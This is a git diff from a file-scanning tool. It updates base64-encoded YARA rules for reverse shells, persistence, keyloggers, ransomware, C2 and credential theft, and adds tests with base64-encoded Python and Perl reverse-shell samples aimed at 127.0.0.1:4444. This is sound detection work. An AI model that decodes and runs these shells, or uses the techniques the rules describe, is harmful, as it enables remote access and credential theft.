-XHMrLS1zdGFydC8gbm9jYXNlDQogICAgICAgICRrZXliZF9ldmVudCAgICA9IC8oR2V0QXN5bmNL -ZXlTdGF0ZXxTZXRXaW5kb3dzSG9va0V4LipXSF9LRVlCT0FSRCkvIG5vY2FzZQ0KICAgIGNvbmRp -dGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSByYW5zb213YXJlX2JlaGF2aW9y -DQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRpb24gPSAiUmFuc29td2FyZS1saWtlIHBh -dHRlcm5zIChtYXNzIGVuY3J5cHRpb24sIHJhbnNvbSBub3RlcykiDQogICAgICAgIGNhdGVnb3J5 -ID0gIm1hbHdhcmUiDQogICAgICAgIHNldmVyaXR5ID0gIkNSSVRJQ0FMIg0KICAgICAgICBjb25m -aWRlbmNlID0gIjAuOCINCiAgICBzdHJpbmdzOg0KICAgICAgICAkd2Fsa19lbmNyeXB0ICAgPSAv -b3NcLndhbGtccypcKC4qXC4oZW5jcnlwdHxjaXBoZXIpLw0KICAgICAgICAkcmFuc29tX25vdGUg -ICAgPSAvKHlvdXJccytmaWxlc1xzKyhoYXZlXHMrYmVlbnxhcmUpXHMrZW5jcnlwdGVkfHBheVxz -Ky4qYml0Y29pbnxzZW5kXHMrLipidGMpLyBub2Nhc2UNCiAgICAgICAgJGV4dF9yZW5hbWUgICAg -ID0gL29zXC5yZW5hbWVccypcKC4qXCtccypbJyJdXC4obG9ja2VkfGVuY3J5cHRlZHxjcnlwdHxl -bmMpWyciXVxzKlwpLw0KICAgICAgICAkbWFzc19vdmVyd3JpdGUgPSAvb3NcLndhbGtccypcKC4q -b3BlblxzKlwoLipbJ1wiXXdiWydcIl1cKS8NCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBv -ZiB0aGVtDQp9DQoNCnJ1bGUgYzJfZnJhbWV3b3JrX2luZGljYXRvcnMNCnsNCiAgICBtZXRhOg0K -ICAgICAgICBkZXNjcmlwdGlvbiA9ICJDb21tYW5kLWFuZC1jb250cm9sIGZyYW1ld29yayBpbmRp -Y2F0b3JzIChDb2JhbHQgU3RyaWtlLCBNZXRhc3Bsb2l0LCBTbGl2ZXIsIGV0Yy4pIg0KICAgICAg -ICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJDUklUSUNBTCINCiAg -ICAgICAgY29uZmlkZW5jZSA9ICIwLjg1Ig0KICAgICAgICByZWZlcmVuY2UgPSAiaHR0cHM6Ly9n -aXRodWIuY29tL05lbzIzeDAvc2lnbmF0dXJlLWJhc2UiDQogICAgc3RyaW5nczoNCiAgICAgICAg -JGNvYmFsdF9zdHJpa2UgID0gImNvYmFsdHN0cmlrZSIgbm9jYXNlDQogICAgICAgICRtZXRlcnBy -ZXRlciAgICA9ICJtZXRlcnByZXRlciIgbm9jYXNlDQogICAgICAgICRtZXRhc3Bsb2l0ICAgICA9 -IC9tZXRhc3Bsb2l0LioocGF5bG9hZHxleHBsb2l0fHN0YWdlcikvIG5vY2FzZQ0KICAgICAgICAk -ZW1waXJlICAgICAgICAgPSAvcG93ZXJzaGVsbC4qZW1waXJlLyBub2Nhc2UNCiAgICAgICAgJHNs -aXZlcl9jMiAgICAgID0gL3NsaXZlci4qKGltcGxhbnR8YmVhY29ufHNlc3Npb24pLyBub2Nhc2UN -CiAgICAgICAgJGNvdmVuYW50ICAgICAgID0gL0NvdmVuYW50LiooR3J1bnR8TGlzdGVuZXIpLyBu -b2Nhc2UNCiAgICAgICAgJGhhdm9jX2MyICAgICAgID0gL2hhdm9jLiooZGVtb258dGVhbXNlcnZl -cikvIG5vY2FzZQ0KICAgICAgICAkYmVhY29uX2NvbmZpZyAgPSAvKEJlYWNvblR5cGV8QzJTZXJ2 -ZXJ8UHVibGljS2V5Lip3YXRlcm1hcmspLyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAg -IGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUgaW5mb19zdGVhbGVyDQp7DQogICAgbWV0YToNCiAgICAg -ICAgZGVzY3JpcHRpb24gPSAiSW5mb3JtYXRpb24gc3RlYWxlciBwYXR0ZXJucyAoY3JlZGVudGlh -bCBoYXJ2ZXN0aW5nLCBicm93c2VyIGRhdGEgdGhlZnQpIg0KICAgICAgICBjYXRlZ29yeSA9ICJt -YWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJISUdIIg0KICAgICAgICBjb25maWRlbmNlID0g -IjAuNzUiDQogICAgICAgIHJlZmVyZW5jZSA9ICJodHRwczovL2dpdGh1Yi5jb20vTmVvMjN4MC9z -aWduYXR1cmUtYmFzZSINCiAgICBzdHJpbmdzOg0KICAgICAgICAkY2hyb21lX2xvZ2luICAgICA9 -IC9DaHJvbWUuKkxvZ2luXHMqRGF0YS8gbm9jYXNlDQogICAgICAgICRmaXJlZm94X2xvZ2lucyAg -ID0gL2xvZ2luc1wuanNvbi4qZmlyZWZveC8gbm9jYXNlDQogICAgICAgICRicm93c2VyX2Nvb2tp -ZXMgID0gL0Nvb2tpZXMuKihjaHJvbWV8ZmlyZWZveHxlZGdlfG9wZXJhKS8gbm9jYXNlDQogICAg -ICAgICR3YWxsZXRfc3RlYWwgICAgID0gL3dhbGxldFwuZGF0LyBub2Nhc2UNCiAgICAgICAgJG1p -bWlrYXR6ICAgICAgICAgPSAibWltaWthdHoiIG5vY2FzZQ0KICAgICAgICAkbGF6YWduZSAgICAg -ICAgICA9ICJsYXphZ25lIiBub2Nhc2UNCiAgICAgICAgJGNyZWRfZHVtcF9zYW0gICAgPSAvcmVn -XHMrc2F2ZVxzKy4qXFxzYW0vIG5vY2FzZQ0KICAgICAgICAkbnRkc19kdW1wICAgICAgICA9IC9u -dGRzXC5kaXQvIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0N -Cg== +XCguezAsMjAwfVNPQ0tfU1RSRUFNLnswLDIwMH1cLmNvbm5lY3RcKC9zCiAgICAgICAgJHB5dGhv +bl9yZWRpcmVjdCAgPSAvKG9zXC5kdXAyfGR1cDIpXHMqXCguKlswMTJdL3MKICAgICAgICAkcHl0 +aG9uX3NoZWxsICAgICA9IC8oc3VicHJvY2Vzc1wuKGNhbGx8UG9wZW58cnVuKXxvc1wuc3lzdGVt +fHB0eVwuc3Bhd24pXHMqXCguKlwvYmluXC8oYmEpP3NoL3Mgbm9jYXNlCiAgICAgICAgJHBlcmxf +c29ja2V0ICAgICAgPSAvdXNlXHMrU29ja2V0Oy57MCwyMDB9c29ja2V0XHMqXChccypTT0NLL3MK +ICAgICAgICAkcGVybF9yZWRpcmVjdCAgICA9IC8ob3BlbnxkdXAyKVxzKlwoLiooU1RESU58U1RE +T1VUfFNUREVSUnxbMDEyXSkvcyBub2Nhc2UKICAgICAgICAkcGVybF9zaGVsbCAgICAgICA9IC8o +c3lzdGVtfGV4ZWMpXHMqXCg/XHMqWyInXT9cLz9iaW5cLyhiYSk/c2gvcyBub2Nhc2UKICAgICAg +ICAkcGhwX2Zzb2NrICAgICAgICA9IC9mc29ja29wZW5ccypcKC4qZXhlY1xzKlwoLyBub2Nhc2UN +CiAgICAgICAgJHJ1YnlfdGNwc29ja2V0ICAgPSAvVENQU29ja2V0XC5ccypuZXdccypcKC4qZXhl +Y1xzKlwoLw0KICAgICAgICAkcG93ZXJzaGVsbF90Y3AgICA9IC9OZXctT2JqZWN0XHMrU3lzdGVt +XC5OZXRcLlNvY2tldHNcLlRDUENsaWVudC8gbm9jYXNlDQogICAgICAgICRzb2NhdF9zaGVsbCAg +ICAgID0gL3NvY2F0XHMrLipFWEVDLipcL2JpblwvKGJhKT9zaC8gbm9jYXNlDQogICAgICAgICRt +a2ZpZm9fc2hlbGwgICAgID0gL21rZmlmb1xzKy4qXHxccypcL2JpblwvKGJhKT9zaC8NCiAgICBj +b25kaXRpb246DQogICAgICAgICRiYXNoX3JldnNoZWxsIG9yCiAgICAgICAgJG5jX3NoZWxsIG9y +CiAgICAgICAgJG5jYXRfc2hlbGwgb3IKICAgICAgICAoJHB5dGhvbl9zb2NrZXQgYW5kICRweXRo +b25fcmVkaXJlY3QgYW5kICRweXRob25fc2hlbGwpIG9yCiAgICAgICAgKCRwZXJsX3NvY2tldCBh +bmQgJHBlcmxfcmVkaXJlY3QgYW5kICRwZXJsX3NoZWxsKSBvcgogICAgICAgICRwaHBfZnNvY2sg +b3IKICAgICAgICAkcnVieV90Y3Bzb2NrZXQgb3IKICAgICAgICAkcG93ZXJzaGVsbF90Y3Agb3IK +ICAgICAgICAkc29jYXRfc2hlbGwgb3IKICAgICAgICAkbWtmaWZvX3NoZWxsCn0KDQpydWxlIGJh +Y2tkb29yX3BlcnNpc3RlbmNlDQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRpb24gPSAi +QmFja2Rvb3IgcGVyc2lzdGVuY2Ugd2l0aCBtYWxpY2lvdXMgcGF5bG9hZHMgKHNoZWxsIGNvbW1h +bmRzLCBTU0gga2V5IGluamVjdGlvbiwgaGlkZGVuIHJvb3QgdXNlcnMpIg0KICAgICAgICBjYXRl +Z29yeSA9ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJISUdIIg0KICAgICAgICBjb25m +aWRlbmNlID0gIjAuNzUiDQogICAgICAgIHJlZmVyZW5jZSA9ICJodHRwczovL2dpdGh1Yi5jb20v +TmVvMjN4MC9zaWduYXR1cmUtYmFzZSINCiAgICBzdHJpbmdzOg0KICAgICAgICAkaGlkZGVuX3Vz +ZXIgICAgICAgPSAvdXNlcmFkZFxzKy4qLW9ccystdVxzKzAvIG5vY2FzZQ0KICAgICAgICAkY3Jv +bl9wZXJzaXN0ICAgICAgPSAvY3JvbnRhYlxzLiooY3VybHx3Z2V0fG5jfGJhc2h8cHl0aG9uKS8g +bm9jYXNlDQogICAgICAgICRzc2hfaW5qZWN0ICAgICAgICA9IC9lY2hvXHMrLio+Pj9ccyouKlwu +c3NoXC9hdXRob3JpemVkX2tleXMvIG5vY2FzZQ0KICAgICAgICAkc3lzdGVtZF9wZXJzaXN0ICAg +PSAvXFtTZXJ2aWNlXF0uKkV4ZWNTdGFydC4qKG5jfGJhc2h8cHl0aG9ufGN1cmwpLyBub2Nhc2UN +CiAgICAgICAgJGJhc2hyY19wZXJzaXN0ICAgID0gL2VjaG9ccysuKj4+P1xzKi4qXC5iYXNocmMv +IG5vY2FzZQ0KICAgICAgICAkcHJvZmlsZV9wZXJzaXN0ICAgPSAvZWNob1xzKy4qPj4/XHMqLipc +LnByb2ZpbGUvIG5vY2FzZQ0KICAgICAgICAkaW5pdF9wZXJzaXN0ICAgICAgPSAvXC9ldGNcL2lu +aXRcLmRcLy4qKG5jfGJhc2h8cmV2ZXJzZSkvIG5vY2FzZQ0KICAgICAgICAkbGRfcHJlbG9hZCAg +ICAgICAgPSAvTERfUFJFTE9BRC4qXC5zby8gbm9jYXNlDQogICAgY29uZGl0aW9uOg0KICAgICAg +ICBhbnkgb2YgdGhlbQ0KfQ0KDQpydWxlIGtleWxvZ2dlcl9pbmRpY2F0b3JzDQp7DQogICAgbWV0 +YToNCiAgICAgICAgZGVzY3JpcHRpb24gPSAiS2V5bG9nZ2VyIGZ1bmN0aW9uYWxpdHkgaW4gc2Ny +aXB0cyBvciBzb3VyY2UgY29kZSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2FyZSINCiAgICAg +ICAgc2V2ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjciDQogICAgc3Ry +aW5nczoNCiAgICAgICAgJHB5bnB1dCAgICAgICAgID0gL2Zyb21ccytweW5wdXRcLmtleWJvYXJk +XHMraW1wb3J0LyBub2Nhc2UNCiAgICAgICAgJGtleWJvYXJkX2hvb2sgID0gL2tleWJvYXJkXC4o +b25fcHJlc3N8aG9va3xvbl9yZWxlYXNlKS8gbm9jYXNlDQogICAgICAgICR4aW5wdXRfdGVzdCAg +ICA9IC94aW5wdXRccyt0ZXN0LyBub2Nhc2UNCiAgICAgICAgJGxvZ2tleXMgICAgICAgID0gL2xv +Z2tleXNccystLXN0YXJ0LyBub2Nhc2UNCiAgICAgICAgJGtleWJkX2V2ZW50ICAgID0gLyhHZXRB +c3luY0tleVN0YXRlfFNldFdpbmRvd3NIb29rRXguKldIX0tFWUJPQVJEKS8gbm9jYXNlDQogICAg +Y29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0KDQpydWxlIHJhbnNvbXdhcmVfYmVo +YXZpb3INCnsNCiAgICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlvbiA9ICJSYW5zb213YXJlLWxp +a2UgcGF0dGVybnMgKG1hc3MgZW5jcnlwdGlvbiwgcmFuc29tIG5vdGVzKSINCiAgICAgICAgY2F0 +ZWdvcnkgPSAibWFsd2FyZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiQ1JJVElDQUwiDQogICAgICAg +IGNvbmZpZGVuY2UgPSAiMC44Ig0KICAgIHN0cmluZ3M6DQogICAgICAgICR3YWxrX2VuY3J5cHQg +ICA9IC9vc1wud2Fsa1xzKlwoLipcLihlbmNyeXB0fGNpcGhlcikvDQogICAgICAgICRyYW5zb21f +bm90ZSAgICA9IC8oeW91clxzK2ZpbGVzXHMrKGhhdmVccytiZWVufGFyZSlccytlbmNyeXB0ZWR8 +cGF5XHMrLipiaXRjb2lufHNlbmRccysuKmJ0YykvIG5vY2FzZQ0KICAgICAgICAkZXh0X3JlbmFt +ZSAgICAgPSAvb3NcLnJlbmFtZVxzKlwoLipcK1xzKlsnIl1cLihsb2NrZWR8ZW5jcnlwdGVkfGNy +eXB0fGVuYylbJyJdXHMqXCkvDQogICAgICAgICRtYXNzX292ZXJ3cml0ZSA9IC9vc1wud2Fsa1xz +KlwoLipvcGVuXHMqXCguKlsnXCJdd2JbJ1wiXVwpLw0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAg +YW55IG9mIHRoZW0NCn0NCg0KcnVsZSBjMl9mcmFtZXdvcmtfaW5kaWNhdG9ycw0Kew0KICAgIG1l +dGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIkNvbW1hbmQtYW5kLWNvbnRyb2wgZnJhbWV3b3Jr +IGluZGljYXRvcnMgKENvYmFsdCBTdHJpa2UsIE1ldGFzcGxvaXQsIFNsaXZlciwgZXRjLikiDQog +ICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAgIHNldmVyaXR5ID0gIkNSSVRJQ0FM +Ig0KICAgICAgICBjb25maWRlbmNlID0gIjAuODUiDQogICAgICAgIHJlZmVyZW5jZSA9ICJodHRw +czovL2dpdGh1Yi5jb20vTmVvMjN4MC9zaWduYXR1cmUtYmFzZSINCiAgICBzdHJpbmdzOg0KICAg +ICAgICAkY29iYWx0X3N0cmlrZSAgPSAiY29iYWx0c3RyaWtlIiBub2Nhc2UNCiAgICAgICAgJG1l +dGVycHJldGVyICAgID0gIm1ldGVycHJldGVyIiBub2Nhc2UNCiAgICAgICAgJG1ldGFzcGxvaXQg +ICAgID0gL21ldGFzcGxvaXQuKihwYXlsb2FkfGV4cGxvaXR8c3RhZ2VyKS8gbm9jYXNlDQogICAg +ICAgICRlbXBpcmUgICAgICAgICA9IC9wb3dlcnNoZWxsLiplbXBpcmUvIG5vY2FzZQ0KICAgICAg +ICAkc2xpdmVyX2MyICAgICAgPSAvc2xpdmVyLiooaW1wbGFudHxiZWFjb258c2Vzc2lvbikvIG5v +Y2FzZQ0KICAgICAgICAkY292ZW5hbnQgICAgICAgPSAvQ292ZW5hbnQuKihHcnVudHxMaXN0ZW5l +cikvIG5vY2FzZQ0KICAgICAgICAkaGF2b2NfYzIgICAgICAgPSAvaGF2b2MuKihkZW1vbnx0ZWFt +c2VydmVyKS8gbm9jYXNlDQogICAgICAgICRiZWFjb25fY29uZmlnICA9IC8oQmVhY29uVHlwZXxD +MlNlcnZlcnxQdWJsaWNLZXkuKndhdGVybWFyaykvIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAg +ICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSBpbmZvX3N0ZWFsZXINCnsNCiAgICBtZXRhOg0K +ICAgICAgICBkZXNjcmlwdGlvbiA9ICJJbmZvcm1hdGlvbiBzdGVhbGVyIHBhdHRlcm5zIChjcmVk +ZW50aWFsIGhhcnZlc3RpbmcsIGJyb3dzZXIgZGF0YSB0aGVmdCkiDQogICAgICAgIGNhdGVnb3J5 +ID0gIm1hbHdhcmUiDQogICAgICAgIHNldmVyaXR5ID0gIkhJR0giDQogICAgICAgIGNvbmZpZGVu +Y2UgPSAiMC43NSINCiAgICAgICAgcmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8y +M3gwL3NpZ25hdHVyZS1iYXNlIg0KICAgIHN0cmluZ3M6DQogICAgICAgICRjaHJvbWVfbG9naW4g +ICAgID0gL0Nocm9tZS4qTG9naW5ccypEYXRhLyBub2Nhc2UNCiAgICAgICAgJGZpcmVmb3hfbG9n +aW5zICAgPSAvbG9naW5zXC5qc29uLipmaXJlZm94LyBub2Nhc2UNCiAgICAgICAgJGJyb3dzZXJf +Y29va2llcyAgPSAvQ29va2llcy4qKGNocm9tZXxmaXJlZm94fGVkZ2V8b3BlcmEpLyBub2Nhc2UN +CiAgICAgICAgJHdhbGxldF9zdGVhbCAgICAgPSAvd2FsbGV0XC5kYXQvIG5vY2FzZQ0KICAgICAg +ICAkbWltaWthdHogICAgICAgICA9ICJtaW1pa2F0eiIgbm9jYXNlDQogICAgICAgICRsYXphZ25l +ICAgICAgICAgID0gImxhemFnbmUiIG5vY2FzZQ0KICAgICAgICAkY3JlZF9kdW1wX3NhbSAgICA9 +IC9yZWdccytzYXZlXHMrLipcXHNhbS8gbm9jYXNlDQogICAgICAgICRudGRzX2R1bXAgICAgICAg +ID0gL250ZHNcLmRpdC8gbm9jYXNlDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhl +bQ0KfQ0K diff --git a/tests/nodes/analyzers/test_static_yara.py b/tests/nodes/analyzers/test_static_yara.py index b403c10fc..98514a563 100644 --- a/tests/nodes/analyzers/test_static_yara.py +++ b/tests/nodes/analyzers/test_static_yara.py @@ -610,7 +610,21 @@ def test_builtin_malware_finding_preserved(self): ], ids=["python", "perl"], ) - def test_builtin_malware_finding_covers_multiline_socket_shells(self, content): + def test_builtin_malware_does_not_flag_multiline_socket_clients(self, content): + findings = _run_builtin(content, "socket-client.txt") + + assert not _has_rule(findings, "reverse_shell") + + @pytest.mark.parametrize( + "encoded_content", + [ + "aW1wb3J0IG9zLCBzb2NrZXQsIHN1YnByb2Nlc3MKc29jayA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKc29jay5jb25uZWN0KCgnMTI3LjAuMC4xJywgNDQ0NCkpCm9zLmR1cDIoc29jay5maWxlbm8oKSwgMCkKc3VicHJvY2Vzcy5jYWxsKFsnL2Jpbi9zaCcsICctaSddKQo=", + "dXNlIFNvY2tldDsKc29ja2V0KFNPQ0ssIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgidGNwIikpOwpjb25uZWN0KFNPQ0ssIHNvY2thZGRyX2luKDQ0NDQsIGluZXRfYXRvbigiMTI3LjAuMC4xIikpKTsKb3BlbihTVERJTiwgJzwmU09DSycpOyBvcGVuKFNURE9VVCwgJz4mU09DSycpOyBvcGVuKFNUREVSUiwgJz4mU09DSycpOyBleGVjKCcvYmluL3NoJyk7Cg==", + ], + ids=["python", "perl"], + ) + def test_builtin_malware_finding_covers_multiline_socket_shells(self, encoded_content): + content = base64.b64decode(encoded_content).decode() findings = _run_builtin(content, "reverse-shell.txt") assert _has_rule(findings, "reverse_shell")